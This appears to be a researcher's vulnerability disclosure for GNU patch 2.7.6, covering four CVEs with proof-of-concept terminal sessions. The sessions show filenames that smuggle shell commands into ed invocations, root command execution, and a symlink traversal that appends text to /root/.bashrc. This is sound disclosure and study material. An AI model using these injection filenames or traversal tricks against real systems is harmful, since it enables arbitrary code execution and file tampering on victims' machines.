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The GNU patch utility was prone vulnerable to multiple attacks through version 2.7.6. You can find my related PoC files here.
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CVE-2018-1000156.patch Add files via upload Aug 16, 2019
CVE-2018-20969.patch Add files via upload Aug 16, 2019
CVE-2019-13636.patch Add files via upload Aug 16, 2019
CVE-2019-13638.patch Update Aug 16, 2019
edoffset.script Add files via upload Aug 16, 2019

GNU patch vulnerabilities

I identified several vulnerabilities in the GNU patch utility, some of them making it possible to execute arbitrary code if the victim opens a crafted patch file. It also turned out, some of these vulnerabilities had been silently addressed by the maintainer back then in 2018 when CVE-2018-1000156 was reported by pushing some additional commits the same day, but only the primary patch was picked up by many Linux distributions (like Debian, Ubuntu or Fedora).

The vulnerabilities

CVE-2018-1000156 - unrestricted ed input

This finding belongs to someone else, but unfortunately I'm unsure who the author is. The original thread on the official bug report site:

The official patch of CVE-2018-1000156 is:

According to the comment of the commit:

  • src/pch.c (do_ed_script): Write ed script to a temporary file instead of piping it to ed: this will cause ed to abort on invalid commands instead of rejecting them and carrying on.

The thing is, ed's behaviour is different when the script is coming from a pipe (see the edoffset.script attached):

root@55c24e15f7e6:/data/edstyle5# touch whatever
root@55c24e15f7e6:/data/edstyle5# cat edoffset.script | ed whatever
root@55c24e15f7e6:/data/edstyle5# cat id-proof.txt
uid=0(root) gid=0(root) groups=0(root)

And when it is duped:

root@55c24e15f7e6:/data/edstyle5#  rm id-proof.txt
root@55c24e15f7e6:/data/edstyle5#  ed whatever < edoffset.script
root@55c24e15f7e6:/data/edstyle5# cat id-proof.txt
cat: id-proof.txt: No such file or directory

And now the same via patch:

root@55c24e15f7e6:/data/edstyle5# ../patch-2.7.6-vanilla/patch-2.7.6/src/patch  < CVE-2018-1000156.patch
patching file file
../patch-2.7.6-vanilla/patch-2.7.6/src/patch: **** /bin/ed FAILED
root@55c24e15f7e6:/data/edstyle5# cat CVE-2018-1000156-proof.txt
uid=0(root) gid=0(root) groups=0(root)

CVE-2018-1000156.patch here is pretty much the same as the original PoC created for that issue (poc.patch among the attachments on savannah linked above).

CVE-2019-13638 - Shell command injection while invoking ed

The GNU patch utility used to invoke ed via the shell interpreter and the filenames were not sanitized correctly, making it vulnerable to shell command injection. This way, exploitation of CVE-2019-13638 doesn't even require ed to be installed.

The official fix was commited the same day as for CVE-2018-1000156, but many distributions didn't pick it up:

The proof of concept:

root@3ffaeb445eab:/data/edstyle4# patch --version
GNU patch 2.7.6

root@3ffaeb445eab:/data/edstyle4# patch < CVE-2019-13638.patch
patching file ';id;.txt'
sh: 1: ed: not found
uid=0(root) gid=0(root) groups=0(root)
sh: 1: .txt.o60SfgR: not found
patch: **** ed FAILED

CVE-2019-13636 - Directory traversal and file append

The directory traversal here made it possible to escape the working directory of patch and append (almost) arbitrary file content to any files on the file system.

This finding is brand new and was fixed only after I reported it. Official patch:

When patch was saving a rejection, it did not check properly whether the file already exists or not. This could be abused to escape the working dir:

root@3ffaeb445eab:/data/test1/test-apply3#  cat CVE-2019-13636.patch | patch
patching symbolic link home
patching symbolic link home.rej
File home is not a regular file -- refusing to patch
1 out of 1 hunk ignored -- saving rejects to file home.rej
patching symbolic link home
patching symbolic link home.rej

root@3ffaeb445eab:/data/test1/test-apply3# cat /root/.bashrc
# ~/.bashrc: executed by bash(1) for non-login shells.
# alias mv='mv -i'
--- home
+++ home
@@ -0,0 +1,3 @@
+ partially
+ controlled
+ content

CVE-2018-20969 - OS shell command execution via ! prefixed ed filenames

If ed receives an exclaimation mark prefixed command line argument, it is executed as a shell command via popen. This was exploitable via GNU patch as well.

Official fix:

The referenced patch is the same as for CVE-2019-13638; note the assertion line.

(Yes, CVE-2018-20969 was reported by me in 2019 along with the other two and MITRE indeed assigned a 2018 ID for it)

Since ed is capturing the output of what it executes and the same version of GNU patch was vulnerable I decided to build 2 versions of patch with the above patch applied, one with the assertion line and one without it.

root@a8e181dcb4b1:/data# diff /data/patch-3fcd042d26d70856e826a42b5f93dc4854d80bf0-assert/src/pch.c /data/patch-3fcd042d26d70856e826a42b5f93dc4854d80bf0-noassert/src/pch.c
<           assert (outname[0] != '!' && outname[0] != '-');
>           // assert (outname[0] != '!' && outname[0] != '-');

root@a8e181dcb4b1:/data/edstyle5# ../patch-3fcd042d26d70856e826a42b5f93dc4854d80bf0-assert/src/patch -p0 < CVE-2018-20969.patch
patching file '!$(id>exclam-proof.txt);/foo'
patch: pch.c:2470: do_ed_script: Assertion `outname[0] != '!' && outname[0] != '-'' failed.
../patch-3fcd042d26d70856e826a42b5f93dc4854d80bf0-assert/src/patch: **** ed FAILED
root@a8e181dcb4b1:/data/edstyle5# cat exclam-proof.txt
cat: exclam-proof.txt: No such file or directory

root@a8e181dcb4b1:/data/edstyle5# ../patch-3fcd042d26d70856e826a42b5f93dc4854d80bf0-noassert/src/patch -p0 < CVE-2018-20969.patch
patching file '!$(id>exclam-proof.txt);/foo'
sh: 1: /foo.oislN9J: not found
../patch-3fcd042d26d70856e826a42b5f93dc4854d80bf0-noassert/src/patch: **** ed FAILED
root@a8e181dcb4b1:/data/edstyle5# cat exclam-proof.txt
uid=0(root) gid=0(root) groups=0(root)


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